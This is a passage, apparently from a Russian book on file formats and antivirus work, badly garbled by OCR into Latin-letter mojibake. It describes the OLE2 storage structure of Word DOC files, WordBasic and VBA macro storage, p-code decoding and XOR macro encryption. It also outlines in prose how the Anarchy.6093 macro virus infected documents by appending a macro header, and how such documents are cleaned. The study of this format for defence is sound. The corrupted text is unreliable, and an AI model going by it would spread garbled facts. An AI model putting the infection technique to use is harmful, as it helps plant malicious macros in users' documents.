+44h -  .neebiH "HacjieaHHic" y3/ia 
+48h -  npaewfi "H acneam " ysna
+4Ch -  nepetiH "Hac/ieflHMK" ( to/ieko ec.nn ysen -  Kara/ior)

4 dup (? ) : +50h -  YHMKaiibHtiSi GUID noToxa
5 duo (? ) ; +60n - ?
? ; +74h -  Craproeufl cerrop oCbeirra

? ; +78h -  PasMep ofibeKTa b SaiiTa*
? ; +7C'n -  ?

IlocMOTpHTe BHyrpb K a K o ro -H H o y / u . DOC-cj)aHJia «Ha ripocBeT>>, h bw 
yBHflHTe cxpo'-iKy «R o o t E n t r y* -  3to hmh nepBOH 3anncH b «r;iaBH0M 
KaTa.Tore>>. CnycTH 128 oaiiTOB (s to  zuinna 3anHcii) xpamiTCH cjieayio- 
mee hmh (HanpHMep, «W  o r d D o c u m e n t » )  h t. a. KcTaTH, OT^ejibHbie 
JiaTHHCKHe oyKBbi b HMCHax QObeKTOB pa3fle;ieHbi He npooe.iaMH, a Hy-
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jicbhmh 6aHTaMH, Beat Bee TeKCTOBbie fl'amibie npeacTaBJMOTCfl b kozih- 
poBKe Unicode. A  pyccKiie 6yKBbi pa3aejDnoTca He HyjieBbiM 6aHT0M, a 
6airroM c KoaoM «4 » :

A eme b KaTajiore MoryT BCTpenaTbCH u «HeaJi4>aBHTHo~HH(})poBbie^ 
HMeHa, HanpHMep « \1  C o m p O b j» , rae « \1»  03HanaeT 6aHT co 3Hane- 
HHeM 1.

ripeano;iaraeTCH, h to  Bee ooteKTbi b «CTpyKTypnp0BaHH0M xpanHJiH- 
me» HeaBHO npoHyMepoBaHbi (nanHHajf c O ) h  o6pa3yioT apeBOBHflHyro 
CTpVKTVpy, TO eCTb KTO-TO H3 HHX HBJIHCTC5I «KOpHeM», KTO-TO «BeTBbK>», 
a k to -to  -  « jihctom » aepeBa. Mmchho aJia omicaraiH rioaHHueHHocTH 
o6-beKTOB b K ara jior BKJnoneHbi 110jih  «Left> («JleBH ii»), «Right» (« Ilp a - 
B b iii» ) h  « F irs t*  («riepBbiH»). PacnojjoaceHiie y3jia Ha tom  h jih  hhom 
ypoBHe HepapxHH onpeaeJiaeTcJT b coo tbc tc tbhh  c npaBHJiaMH «KpacHo- 
HepHHX aepeBbCB*:

O  KaacahiH y3e.’i jih 6o nepubiH, jih 6o KpacHbifi;
O  «KopeHb» a e p e B a  h «TepMHHaJibHbie ccbuiKH» H3 «Jiiicn>eB» Bceraa 

Mepiibie;
O  npeaoK KpacHoro y3.fia Bceraa 'lep iiM ti;
O  KOJIHHeCTBO HepHbIX V3JIOB Ha Bcex «BeTBflX», Beaymnx OT «KOplM» 

K «JIHCTbflM», OaHHaKOBO.
«KpacHO-HepHaj(» opraHH3aiinh TpeSyeT aooaBJiaTb h yaajisrrb y3Jibi 

no onpeaeJieHHbiM npaBiiJiaM, h to  rapaHTHpyeT cSajiaHCHpoBaHHOCTb 
aBOHHHoro aepeBa h, cjieaoBaTeJibHO, acJx^eKTHBHbiH noHCK b HeM. E cjih  
ace aepeBO MajieHbKoe, to  HiucaKoro npenMymecTBa «KpacHo-MepnHX* ae- 
peBbeB nepea apyrtiMH pa3H0BHaH0CT3MH HeT. /la  h Boo6me, JioraHecicaji 
cTpyKTvpa 06beKT0B DOC-(J)aHJia cooTBeTCTByeT He aBOHHHOMy aepeBy, 
HO aepeBy C np0H3B0JIbHbIM KOJIHHeCTBOM BCTBeft H JIHCTbCB.

B KaTajiore MoryT BeTpeTHTbea 3anHcn 06 o6-bercrax c Jie a y io iH H X  n m o B :

O  1 (BJioaceHHbift) hjih 5 (KopHeBoii) -  KaTajiorn;
O  2 -  «noTOKH» («stream s») -  nenoHKH 6jiokob,coaepacamneKaKiie- 

m i6 o  aaHHbie;
0  3 -  «3anepTbie 6aiiTbi» («lockbvt,es») -  3ape3epBHpoBaHHbie ue- 

noHKH o jio k o b :

O’ - '9 ' 
A
s ’ - ' z '
A'-'fT
e-

030h-039h 
041h-05Ah 
061>i-07 Ah 
410fl-42Fh 
401 h

a ' -  ' p. ' 

e '
430h-44Fh 
451 h
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O  4  -  «c B O H C T B a »  ( « p r o p e r t y » ) .

MTaK, CTapTOBHH ceKTop ooteKTa (H a n p H M e p , noTOKa) xpaHHTca b  K a 

T a jio re . A K a K  y3HaTb, K a K H e  eme ceKTopw b x o a h t  b  ije n o H K y . o6pa3yio- 
m y io  ooteKT?

I l o a  Bee 06'b e K TU  b  cfa iiJie  B b i/te jienw  flBe 6o jib u r iie  r p y n n b i  J i o r iw e -  

c k h x  « 6j io k o b » :  B B D  ( B i g  B lo c k s  D e p o t  -  x p a H H .m m e  o o jib i im x  6j io -  

k o b )  h  S B D  (S m a l l  B lo c k s  D e p o t  -  x p a n m m m e  M a jie u b K H x  6j io k o b ) .  

B B D  C O C TO H T H3 BCeX (J)H 3H HeCKH X C eK TO pO B  (J)aHJia, H  Ka^Cflblil Ta K O H  

c e K T o p  u e JiH K O M  3 a H H M a e T o r,a e jib H b iH  5 1 2 -6 a H T O B b iii  « 6o jib m o ii  6j i o k »  

a a H H b ix . S B D  -  3t o  oflH a H 3 u e n o M e K  c e K T o p o B B H y T p H  cjiaftjia, b  H e ii K a jK - 

flbift c e ic ro p  c H H T a e T c a  p a 3 6 H T U M  H a o n p e a e jie H H o e  k o jih m c c tb o  M a jie H b - 

k h x  6 4 -6 a iiT O B b ix  j io rn n e c K H X  « 6j io h k o b » .

KaacROH rpynne «6jiokob>> (6ojibiimx h j i h  MaJieHbKHx) C00TBeTCTByeT 
cneqHaJibHaH ra6jiHna pacnpe^ejieHHH FAT -  File Allocation Table.

FAT BBD -  3t o  MaccHB H3 4 -6 a im > B b ix  «3anHcefr», Ka*aaa H3 k o t o -  

p b ix  C O flepjK H T H O M ep O flH O rO  H 3 « 6o JIb IU H X  6jIO K O B » ( t o  eC Tb C^iaKTHHeCKH 

c e K T o p o B  4>aiijia). HyjieBaa 3 a n H C b  c o o T B e T C T B y e T  « 6j iO K y »  c  n o M e p o M

0  ( t o  e c Tb  5 1 2 -6 a H T 0 B 0 M y  c e K T o p y , n a M M H a ro m e M yca  b  fy a i i .n e  n o  a6c o - 

jh o t h o m v  C M e m e H H io  2 0 0 h ) ,  n e p B a a  -  « 6j i o k v »  c H 0M e p 0M  1 (C M e m e H H e  

4 0 0 h )  i i  t .  r .  Eme pa3 H a n o M H H M : ca M b iii n e p B b ift c e K T o p  c o c r a B H o r o  4>aii- 

Jia  b  3 T o ii  r a 6j i im e  n p o c T o  H e y n o M H H a e T C H ! CoaepacHMoe 4 -6 a iiT 0 B 0 H  

« 3a n H C H »  BBD m o jk c t  H M e n . o ^ h o  H 3 c jie ^ y io in H X  3H a H e H iiH :

O -3 -  OFFFFFFFDh hjih -4 = OFFFFFFFCh -  n p ira H a K  CJiy*e6- 
H o ro  «6jiok3»;

O  -2 = OFFFFFFFEh -  riocJie/iH iifr « 6jiok>> b  u e n o H K e ;

O  -1 = OFFFFFFFFh -  HeHcnoJib3yeMbiH «6jiok»;
O H H o e  > 0  -  H o M e p  « 6j io K a » ,  c .ie / iy fo m e ro  3a T e K y m H M .

E c j i h  m w  3H aeM  H o M e p  c T a p T O B o r o  « 6.»io K a» u r n  K a K o r o -jiH 6o o 6b c K T a  

(H a n p H M e p , h jih  n o T O K a ),  t o  J ie re o  m o jk cm  B b iTM H yTb  b c io  q e n o M K y  n p n -  

H aaJieacaiuH X  e M y  « 6j io k o b »  ( t o  e c Tb  c e K T o p o B  4 > a iijia ). B o t  k o h k p c t h h h  

n p iiM e p . I l y c T b  (J jp a ra e H T  a a M n a  (JraiiJia, c o a e p a ca m H H  H a n a Jio  F A T  B B D ,  

B b ir .M f lH T  c .rie a yio u iH M  0 6 p a 3 0 M :

01 00 00 00 -  02 00 00 00 -  05 00 00 00 -  06 00 00 00
07 00 00 00 -  03 00 00 00 -  FF FF FF FE -  08 00 00 00
FF FF FF FE -  FF FF FF FD -  FF FF FF FF -  FF FF FF FF

/Ia B a H Te  B b im tm e M  a n a 'ie iiH s i < s c rp o 'ie K » T a 6jn m b i  b  6o jie e  y a o & n o ii  n w  

rjia 3 a  c|)op.vie h  b  C K o o o 'iK a x  Ka>K;ioM y a jie M e H T y  n p im H m e M  e ro  H o M e p :

( 00)01 
( 0 1)0 2
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(0 2 ) 05
(0 3 )0 6
(0 4 ) 07
(0 5 ) 03
(0 6 ) -2
(0 7 ) 08
(0 8 ) -2 
(0 9 ) -3 
(0 A ) -1  
(O B ) -1

/lonycTHM, H 3 B e C TH O , H TO  CTapTOBblH « 6.HO K» n O TO K a  H M e e T S H aH e H H e

0. B H V JieB O H  C Tp o H K e  H H Ta e M : c .J ie n y io im iH  « 6j io k >  n O T O K a  H M e e T H O M ep

1. nepexo/iHM k CTpoHKe HOMep 1 h y3HaeM, hto  cjieayiomHH « 6jiok» HMe
eT HOMep 2, h t. A- OKOHHaTe.nbHO noJiynaeM uenoHKy HOMepoB ifiaHJioBbix 
ceKTopoB: {0, 1, 2, 5, 3, 6}. Hm chho b TaKOM nopaaKe h pa3MecTH.n M S  
W ord (JjparMeHTU KaKoro-To nOTOKa BHVTpH cocTaBHoro <J>aHJia! K crara, 
o6paTHTe BHHMaHHe Ha BKJiHHHBUiHeca KycKH KaKoro-To Apyroro o6b- 
eKTa, «aciiBymero» b « 6ji0Kax» {4, 7, 8}, h Ha nycTbie « 6;iokh » c HOMe- 
paMH OAh H OBh. BepoHTHo, 3TO CBHAeTejibcTBO Toro, h to  Has aokvmch- 
tom Aojiro h MyiHTeJibHo paooTa.TH: MHoroKpaTHo y/iajijuiii h BC.TaBJMJiH 
4>pameHTbi T e K C T a , pHcyHKH, (JwpMyjibi h t. n.

CeKTopbi (Jraiijia, 3aH H M a e M b ie  nepBoft i io j io b h h o h  F A T  B B D , o n u c a -  

Hbi b KOHue 3ar0Ji0BKa, HaHHHaa c 6a im  4 C h  (no;ie «B B D B e g in » ). 3 t o t  

MaccHB, K O T o p b iH  Toa ce n o c T p o e H  no n p a B ira a M  FAT, M o aceT c ofle pacaTb  a o  

119 3J ie M e H T0B. PacnoAoaceim e FAT-MaccHBa, onncbiBaromero c e K T o p w  

« 0C T a T K a »  F A T  B B D  ( o h  e c r b  TO Jib K O  b c^aii.nax p a 3M e p o M  o o jie e  7 M 6), 
M o a m o  y 3H a T b  no C M e m e H H io  44h ( n o n e  «B B D S ta rt> ) b tom  ace 3a r o jio B - 

Ke. E cah  ^ o c T a T K a *  F A T  B B D  H e T, t o  b n o jie  «B B D S ta rt:» x p a H H T C H  3Ha- 

HeHHe ( - 2).
A  f f w  H e ro  H ya e n a  S B D ?  O H a  n p e # H a 3H aH e H a jx j ia  o m ic a m iH  o6b C K - 

t o b ,  x p a a a m i ix  n e 6o ;ib i im e  o 6t e M h i a a H H b ix . B  caM OM  a e n e ,  p a c x o A O B a Tb  

L ieA biii 5 1 2 -6 a H T O B b iH  c e ic ro p  H a  C T p o K y  « H e l l o ! »  o b u io  6m  H ep a u n o H a ./ib - 

h o . Il03T0My b c T p y ic r y p e  c o c T a B H o ro  (fiafijia  n p e A V C M O Tp e n a  B 03M 0ac- 

h o c t b  p a 3 M e m a T b  A a w H b ie  b  M a jie n b ic n x , 6 4 -6 a f iT O B b ix  « 6j io H K a x »  ( « s i n a l l  

b lo c k s * ) .  H a e o J i o r n a  p a c n o jio a c e H H H  6 4 -6 a H T 0 B b ix  « 6a o h k o b »  T a K a a  

a<e, K aK  i i  j u m  5 1 2 -6 a H T O B b ix  « 6o jib u n ix  6a o k o b » .  I I o a  h h x  B b izie jiH e rca  

qenoHKa c e K T0p 0B c o c T a B H o ro  (|)aH.na, o x a e jib H b ie  «6.tohkh>  b K O To p o fl 

n p o H y M e p o B a H b i c 0 . C r a p T O B W H  a a p e c  s t o h  c o / ia c ™  ( t o  e c Tb  u e n o H K H  

5 1 2 -o a H 'ro B b ix  c e K T o p o B ) y K a 3 a H  b c Tp a H H O M  M e cTe  -  b 3 a ra ic H  «rv ia B H o ro  

K a T a ;io r a » ,  rro c B M in c H H o n  c a M O M y  « r ;ia B H O M y  K a T a ; io r y » .  P a cn o A o a ce H H e
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ace 06-beKT0B b o6jiacrci « 6jiohkob» onacMBaeTca b F A T  S B D . HncJia b 
« 3am tcax» F A T  S B D  cooTBexcTByioT He a6cojnoTHbiM HOMepaM 512-6aw- 
tobmx ceKTopoB, a OTHocHTejibHbiM H O M epaM  64-6aHTOBHX « 6jiohkob* 
BHyTpH UenOHKH ceKTopoB.

MecTonoJioaceHne CTapTOBoro ceKTopa F A T  S B D  SepeTca H3 aarojios- 
Ka cocTaBHoro (J)aH.na (no  CMeiueHHio 3Ch, nojie «S B D S ta rt* ).

KaK y 3H a Tb , b B B D  h j i h  b  S B D  xpaiiHTca t o t  h j i h  h h o h  o 6t e K T ?  OneHb 
n p o c T o  -  b  n o jie  «M in S iz*  a a ro jio B K a  cjjafljia y K a 3aH  n p e a e jib H b iii  p a 3M e p 

o fm e K T a  b  6a fiT a x  ( o 6u m h o  4 0 9 6 ) .  E c j i h  o 6b e K T  M e H b iu e  a T o r o  p a3M epa, 

t o  o h  p a c n o Jio a c e ii b  S B D ; H H a n e  -  b  B B D .

5 . 4 . 2 .  « n p a B M H b H u i i > »  f l O C T y n  k  C T p y K T y p i i p 0 B a H H 0 M y  

x p a H M J i i i m y

B n 6.iHOTeKa «O L E 2 .D L L 2  co^epacHT cpeacTBa hjih  paooxbi co «crp yK Ty- 
pupoBaHHMMH xpaHHJinmaMH*. OyHKiiHH «stgIsStorageFile» B03Bpama- 
eT iijjh  cfiaiijia npH3H3K -  3T0 cTpyKTypHpoBaHHoe xpaHHJiHiue hjih HeT. 
OyHKUHH «stgOpenStorage» oTKpbiBaeT 4>aftji xpaHHJinma h B03Bpama- 
eT «HHTep4>eHC» «Istorage». 3 to  o6-beKT KJiacca, coaepacamero cbohctb3 
h MeTo^u jijih  pa6oTbi co CTpyKTypnpoBaHHbiMH xpaHHJimnaMH:

O  «IStorage::OpenStorage» -  oncpbieaeT noAKaTaJior, B03Bpamaa 
HHTeptJieHc ajih  /iocxyna k iioAMHueHiibiM KaTajioraM h MeTo/jbi 
rana «  Re name Element*. «  K ill Element* h  npoHne;

O  «IStorage::Release* -  3aKpbiBaeT noAKaranor;
O  «IStorage::Enum Elem ents» -  B03BpamaeTHHTep^eflc nepennc.TH- 

Tejia c MeTOAaMH «N e x t», «S k ip », «  Reset* h  t . n.;
O  «IStorage::OpenStream » -  OTKpbiBaeT n0T 0K, B03Bpamaa HHTep- 

(Jieiic •dstreain* c MeTOflaMH «R ead», «  W rite*, «  Release* h t. n.
Ybh, Hcn0Jib30BaHHe 3Toro MeTOAa conpaaceno c pa/io.w cepbe3Hux He- 

flOCTaTKOB.
Bo-nepBbix, npone/iypbi H3 6n 6jiH0TeKH «O L E 2 .D L L *  oTKa3biBaioTca 

paooTaTb c 3anapojieHHbiMH h «Mciiop'ieHHMMH» AOKVMenTa.MH. B  to Bpe
Ma KaK BHpycbi b TaKHX AOKVMfHTax aciiByT ii npeKpacHO ce6a nyBCTByioT.

Bo-BTopux, CKopocTb pa6oTbi 3th x  npoueayp Kpaiine neBWc oKa.
HaKonen, b pa3Hbix Bepcnax 6ii6jiHOTeKH co/icpacaTca oihh6kh. H a- 

npiiMep, Bepciw H3 M S  W ord 6.0 He «o 6HyjiHJia* HeHcnoJib3yeMbie ceK- 
Topbi «CTpyKTypiipoBaHHbix xpann.ram ». b pesy.TbxaTe Hero BMecTe c 
JOKVMCHTaMH II 3JieKTp0HHbIMII Ta6jIHUa.WH MaCTCHbKO «yruibiBajiH» KOH-
(})H;(eHL(najibHbie /iannbie. A  Bepcim H3 M S  Office 97 h 2000 «cTpaaajra» 
yTe*ncaMH fliiHaMintecKoii naMHTH.
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5.4.3.  MaKpocbi b  Word-AOKyMemre
^CTpyKTypHpoBaHHoe xpaH H Jium e*, cJjopMar 11 cnoco6 aocTyria k  k o t o -  

pOMy onHcaHbi BH iue, npeziHa3HaHCH0 h jih  xpanem M  B nyxpH  o jm o r o  m c -  

KOBoro (Jjaii.ia MHoacecTBa H M enoBanH U x H a6opoB  ;iaHHbix, Ha3UBaeMbix 

noxoKaM H . CocTaB  h  Ha3HaneHHe iio to k o b ,  co3jiaHHbix pa3HbiMn np iu io -  

JKeHIMMH H pa3HbIMH BepCHHMH npHJIOJKeHHH, CymeCTBeHHO OTJIIIMaiOTCfl 

a p y r  o t  a p y ra .

5.4.3 .1. MaKpocbi ua a3UKe WordBasic
DxaBHMH K a T a .ro r  r a n H H H o r o  /jo K yM e H Ta , c o a fla iiH o ro  b MS Word Bep

c H H  6 .0  hjih 7 .0 . BbirjiHflHT cjieayramHM o 6 p a 3 Q M  (cm. Ta6.Ji. 5 .2 ).

TaG/nma 5 .2 . K a ra n o r c r p y i n y p H p o B a H H o r o  xpaHnnmifa, 
c o 3 f l a H H o r o  b  MS Word 6 . 0
# Mmh Tu n JleB. ripaB. nepB. CrapT AiiMHa LjBeT

0 Root Entry 5 -1 -1 1 0D 380 1

1 Word Document 2 2 3 -1 0 1231h 1

2 /ICom pObj 2 -1 -1 -1 0 6A 1

3 /5Summarylnformation 2 -1 4 -1 2 1DC 1

4 /5DocumentSummary-
Information

2 -1 -1 -1 OA 08 0

Ewe npome ycTpoeH aoKyMemr, C 0 3 /ta H H b iii b  p e a a K T o p e  WordPad ( c m . 

xa6ji. 5.3).

Ta6/itma 5.3. Karanor c r p y i c r y p u p o B a H H o r o  x p a n u n m M a ,  
c o 3 f l a H H o r o  b  WordPad
# Mm o Tu n JleB. npaB. nepB. CrapT AflMHa UBeT

0 Root Entry 5 -1 -1 1 3 9C0h 0

1 WordDocument 2 2 2 -1 0 902h 1

2 /1 Com pObj 2 -1 -1 -1 25 6Eh 0

H aoop h  Ha3H aM eHne n 0 T0 K0 B b h v t p h  c^aft.ia, 0praH H 30BaH H 0ro  

b (JxjpMaTe M S  W ord  6.0/7.0, npaKTimecKH He saBHCHT o t  n ajn i'iH H  hjih  

OTCyTCTBHH KapTHHOK, Ta6jIHU, MaKpocoB H T. n . FjiaBHVK) poJIb HrpaeT  

noTOK co CTaiiaapxnbiM  HMeHeM «  Word Document» ,  co;iep>KamHH BHyTpn 

ce6H co6cTBeHHo flOKVMeHT MS Word -  tckct, KapTHHKH, MaKpocbi, cJiy- 

>Kt:6nyio HHcjJopMamno m  t. n. C y m ecT B yeT  ocjjimnajibHaa /lOKyMeirraiiHH: 

^M icrosoft Word for W indow s 6.0 Binary file formats*. KOTopaj-i onwcbiBa-
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eT CTpyKTypy 3Toro noxoKa. BuponeM . noapo6nocTH  xpaH enna MaKpocoB  

b s t o m  aoKy.MenTe omicaribi He nojinocTbio.
B HanaJie noTOKa « Word Document#- p acn o jioxen  orpoM H wii saroJio- 

b o k  (FIB -  File Information Block), b  k o t o p o m  Hac MoryT 3aHHTepeco- 
BaTb Bcero jrnuib HecKOJibKO nojieii:
M a g ic  00 ? ; +000h -  CurHaTypa ( 65A50C. 68A5DC, 68A697, 68A699 . . . )
RO DB 6 d u p ( ? )  ;
Type DW ? ; +0uAh -  Ojiarw, M/iajiiiiMM 6k t :  0 -  aoKyM erii; 1- aa6/iOH
R1 OB 268 DUP (?)
Mpos OD ? ; +118h -  CMevem ie MaKpo3aronoB ica b noTOKe
M ien DD ? , +11Ch -  j\nma MaKposaroooBica

E cjih aoKj^MeHT MS Word coaepacHT MaKpocw, to  no aapecy  118h b  ero  

3ar0Ji0BKe coaepxcpitch cMemeHHe MaKpo3arojioBKa, t o  ecTb CTpyKTypw, 

coaepsKaiyeH onncaHHH MaKpocoB:

Magic DW 01FFh . +-00h -  IlpMSHaK Maxposaro.TOBKa
Iteacr DW ? ; +02h -  Ko/in4ecTBo mbkpocos

E inacr DB 40h : Kohb li M aKposaronoBKa

E cjih kojihm cctbo  MaKpocoB HeHVJieBoe, t o  cpa3y 3a h o jihm h  «  M a g ic *  

h  «N m a c r »  pa3MemaeTOi cooTBeTCTByioiuee kojihmcctbo onHcaTeJieft MaK

pocoB, KaacaMJi H3 k o t o p w x  cooTBeTCTByeT cjieayiom eH 24-6aHTOBOH 

CTpjTCType:

Vers db ? : +00h -  Bepcnq MaKpoastiKa -  55h
Key db ? ; +01 h -  Kjiioh bh$psumh *a*poca (ecm  0, to  hs38w#pob8h)
SO db 10 dup (? ) ; ?
Mien dd ? ; +0Ch -  Unma MaKpoca
R1 dd ? ; +10h ; ?
Mpos dd ? : +I4h -  CMemeHne TewiTa MaKpoca

I lo j ie  b KOHue oraicaTejiH  yKa3WBaeT Ha CMemeHHe BHyTpn noTOKa, rae  

pacnojioaceH «>jacTHMHo oxKOMniuiHpoBaHHWH* TeKCT MaKpoca -  TaK 

Ha3WBaeMWH «p -c o d e » .  KoMMeHTapiiH h  k o h c t3h tw  xpaHHTca b nepBo- 

HanajibHOM BHae, a K-'HoneBue cjioBa ( « f o r » ,  «w h i le »  h  t . n .), «JieKceMbi» 

(npH3H3K CTpOKH, npH3HEK HHCJia H T. n .) H HMeHa (J)yHKUHH H KOMaHfl 

( «  M a c ro C o p y  >>, «  M s g  Box »  h  t . n . ) 3aKoaHpoBaHbi aBOHHHbiMH KoaaMii. 

B ot, HanpHMep, KaK BwrJiaaHT ncxoaHWH tc k c t  npocTeihu ero MaKpoca: 

Sub MAIN

HsgBox "H e llo !" ,  16 
End Sub

3 to  ero  uj ect i la an a repn m h w fi aaMii:

000: 01 00 64 18-69 04 40 41-49 4 E 64 67-23 80 6A 06 . 0. i . MAINdg*Aj.
010 : 48 65 6C 6C -6 F 21 12 6A -00 12 6 C 10-00 64 1A 1B H ello! , j  1. d. .
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A  3T0 paciiiH<f)poBKa «p-Ko/ia»:

0001 <Homgp MaKpoca>

64 <Hoeafl cTpoKa>
13 Sub
69 <CrpoKa 6es KaBbmeK>
04 <Hnma c to o k h  6ea Kaebi'HeK> = 4 
4D M 
41 A 

49 I  
4E N

64 <Hoeafl CTpo<a>

67 <KoMaH>ia>
802B MsgBox
6A <CTpoKa e KaewHKax>
06 <Hnma c tp o k h  b KaBWM<ax> = 6 
48 H

65 e 

6C 1 
6C 1 
6F o 

21 !
12 ,
6A <CTp0K3 B KaBUMK.aX>

00 <fytma CTpOKM B K3BWHK3X> = 0
12 ,
6C <Uenaa kOHCiaHT8>

0010 <3HaM6HHe ue/10(i KOHCTaHTU> = 16 

64 <Hoeao c tp o k 8>
1A End 
18 Sub

MaKpoc MOvKCT OKa3aTbCH 3aiUH(|)pOBallHMM. IUHtJjpOBaHIie npOH3BO- 
AHTCH aBTOMaTHHecKH irpn coaziaHHH hjih KoniipoBaHHH MaKpoca, ec.iH 
b KOMaHije «  M acroC opy* nocjie/iHHH napaMeTp ycraHOBJien HenyjieBMM. 
B 3TOM cjiynae npocMOTp h penaKTH[)OBaiiHe 3auiHc})poBaHHoro MaKpoca 
cpe;icTBaMii M S  W ord  hcbosmo/Khm. Ho iuii<|)poBaHHe Te.ua MaKpoca Bbi- 
nojiHHeTcK KpaHHe iiphmhthbho -  no ajiropiiTMV no6HTOBoro «hckjik> 
Maromero H J IH » (X O R ) npn itomoihh o/jHooaHTOBoro KJiio'ia, yKa3aHH0- 
ro b aarojioBKe MaKpoca. IlosTOMy, HanpnMyio oopamancb k DOC-(J)aftjiy,
MaKpOC JICI'KO pacinii4)poBaTb.

llocjie oriHcaTejieH MaKpocoB b MaKpo3aro.noBKe pa3MemaioTCfl ciihc- 
kh BHyTpeHHiix h BHeuiHHX HMeH, omicaTejrH MeHIO H ApyraH HH^opMa- 
UHH, KDTopaa TaK>Ke mo>K6t 6biTb Hcn0Jib30BaHa npn BOccTaHOBJieHiui hc- 
xoAHoro TeKC-Ta MaKpocoB. BaKaHMMBaexca \raKp03arojiobok oaiiroM 40h. 
TaKHM o6pa3QM, «nycTOH» MaKp03ar0Ji0B0K coctoht H3 ;usyx6aih'OBoro 
cjioBa 40FFh.
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y/lHBiirejibHO, ho nporpaMMHCTbi <J)npMbi Microsoft, co3flaBaBinHe MS 
Word BepcHH 6.0 h 7.0, caMH cw rajn i noTOKOBbiH 4>op.\faT «CTpyKrypHpo- 
BaHHhix xpaHHJimu »  cjihuikom cjiojkhmm, h  b Tex cjiynaax, Koraa sto npea- 
cTaBJisuiocb B03M0>KHbiM, crapajincb o6paiuaTbca k (J>parMeHTaM ziOKyMeH- 
Ta HanpHMjTO. Mojkho npoBecTH cjieayiomHH «6e3yMHbm» SKcnepiiMeHT:

O  Hairra no cH raa T yp e  b (|>aiiJie cTapTOBbiir ceKTop noTOKa «Word- 
Document*;

O  HanpaMyio >Tca3aTb b hcm npH3HaKH ma6 jioHa h H z m n tiH  MaKpo
coB, a b KanecTBe aapeca MaKp03ar0Ji0BKa VKa3aTb KOHeu 4)aftaa;

O  HrHopupvH Jiio6ue npaBiuia «CTpyirrypHpoBaHHbix xpaHHJimu», 
npocTo aonncaTb k  kohuv c|>aHjia npaBHJibHo 3anojineHHHH MaK- 
p03aroa0B0K i i  «p-code» MaKpoca.

Ecjih Tenepb 3arpy3HTb b MS Word 6.0/7.0 MoflHc^HUHpoBaHHbiH ao- 
KJ'MeHT, TO MaKpoc BbHIOJIHHTCa! IIpHMepHO TaK 3apa?KaJI flOKyMeHTbl 
4)aHJioBbift BHpyc Anarchy.6093.

HTaK, b neM JKe aaKjnoHaeTCH «jieqeHne» 3apa>KeHnoro aoKyMema? 
B 3aroaoBKe noTOKa « Word Documents Heo6 xoa«Mo copocHTb npH3HaK 
ma6 jioHa, a bmccto MaKpo3arojioBKa aaimcarb Koa 40FFh. KaK aiibTepHa- 
THBa: He TporaTb MaKp03ar0Ji0BKa, a npocTo yKa3aTb b hcm HyjieBoe kojiii- 
HecTBO MaKpocoB. Bee, h Tejie.\iapKeT»!

5.43.2. Maxpocu na a3biKe VBA
n o  npaBimaM MS Word 97, aoKVMeHT pacKiiaaH no paay n0 T0 K0 B: 

TeKCT OTaeJibHO, KapTHHKH OTaeJibHO, MaKpOCbl OTZlCJIbHO. CJiyjKeOHaa HH- 
(|x)pMauHa OTaeJibHO h t. n. TaKHM 06pa30M, Ha6op h Ha3HaHeHHe n0T0- 
KOB COCTaBHOrO (J)aHJia CHJIbHO 3aBHCHT OT TOTO, HMefOTCH JIH B aOKVMeHTe 
KapTHHKH, HHTerpnpoBaHbi jih BHyTpb MaKpocu h t. n. B o t TaK BbirjwaHT 
cTpyKiypa «nycToro>> aoKyMeHTa (cm. Ta6ji. 5.4.).

Ta&iHita 5.4. Karanor nycroro xpamtnuma, 
co3j\BHHoro b MS Word 97
# MMfl Turn JleB. npaB. nepB. CrapT AnHHa UB6T
0 RootEntry 5 -1 -1 3 24 80 1
1 1 Table 2 -1 -1 -1 8 1000 0
2 WordDocument 2 5 -1 -1 0 1000 1
3 /5Summarylnformation 2 2 4 -1 10 1000 1
4 /5DocumentSummary-

Information
2 -1 -1 -1 18 1000 1

5 /1 CompObj 2 1 6 -1 0 6A 1
6 ObjectPool 1 -1 -1 -1 0 0 0
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A bot, a m  cpaBHeHHH, THnHHHbiH KaxaJior aoKVMeHTa, HMeiomero pn- 
cyHKH, Ta6.TiHHbi h k tom v >Ke 3apa>KeHHoro MaKpoBiipycoM (cm. Taoji. 5.5).

TaSjtmta 5 .5 . Kara/torxpaHHumna onaaoKyMeHra,
3 a p a x e H H o r o  M a K p o B u p y c o M

# Mm h Tu n JleB. ripaB. riepB. C r a p T AsiM H a L U e T

0 Root Entry 5 -1 -1 3 24 2180 1
1 1 Table 2 -1 -1 -1 8 1E1F 1
2 WordDocument 2 5 -1 -1 0 1C1E 1
3 /5Summarylnfbrmation 2 2 4 -1 10 1000 1
4 /5  Docu mentSum mary- 

Information
2 -1 -1 -1 18 1000 1

5 Macros 1 1 11 10 0 0 0
6 VBA 1 -1 -1 8 0 0 0
7 This Document 2 -1 B -1 0 3C5 1
8 NewMacros 2 9 7 -1 10 555 1
9 SRP 2 2 D A -1 26 54 0
10 __SRP_3 2 -1 -1 -1 28 6D 1
11 _VBA_PROJECT 2 -1 -1 -1 2A B28 0
12 dir 2 -1 -1 -1 57 2D2 0
13 __SRP_0 2 C E -1 63 55B 1
14 SRP 1 2 -1 -1 -1 79 91 0
15 PROJECTwm 2 -1 -1 -1 7C 47 0
16 PROJECT 2 6 F -1 7E 177 1
17 /ICom pObj 2 -1 12 -1 64 6A 1
18 ObjectPool 1 -1 -1 -1 0 0 0

5 .4 .33 . Bud u pacnojiooKmue VBA-Matcpocoe
MaKpocbi b noKyMeHTe, c03flanH0M cpeacTBaMH MS Word 97, upe/t- 

CTaBJieHbi b pa3H006pa3Hbix (}>opMax h paa6pocaHbi no pa.iHWM noxoKaM.
Bo-nepBbix, b ^oKyMeHTe xpaHHTCH ncxoflHbie tck c tw  MaKpocoB, a m  

skohomhh MecTa yriaKOBaHHbie aziropiiTMOM LZNT1 (s to  o/yia 113 pa3- 
HOBHflHocTeii KJiacat'fecKoro MeToaa LZ77), -  rioaxoMy hx bhvtph /iokv- 
MeHTa He bhaho «Ha npocBeT». Oobwuo ohh 3aHHMaioT Koneii HeicoTopo- 
ro noroKa. E c jih  nporpaMMHCT co xp a im ji cb o h  Maicpocm  b crau/inpruoM  

Mo^yjie «NewMacros», to  ncxoflHbie TeKCTbi 6y/(yx pacnoJiojKeiibi b 
n0T0 Ke c 3thm ace HMeHeM. Ec.™ no.xhsoBaTejib coa/iaer aorro.iHHTcjib- 
Hbie VBA-MOflyjIH C VHMKa/IbllblMH HMeHaMH, TO B TIOKVMeHTe nOHBHT- 
01 COOTBC'TCTBVfO 1UHHM nOTOKH, M HCXOflHblC TeKCTbi OVflyX IIOMemeHbl 
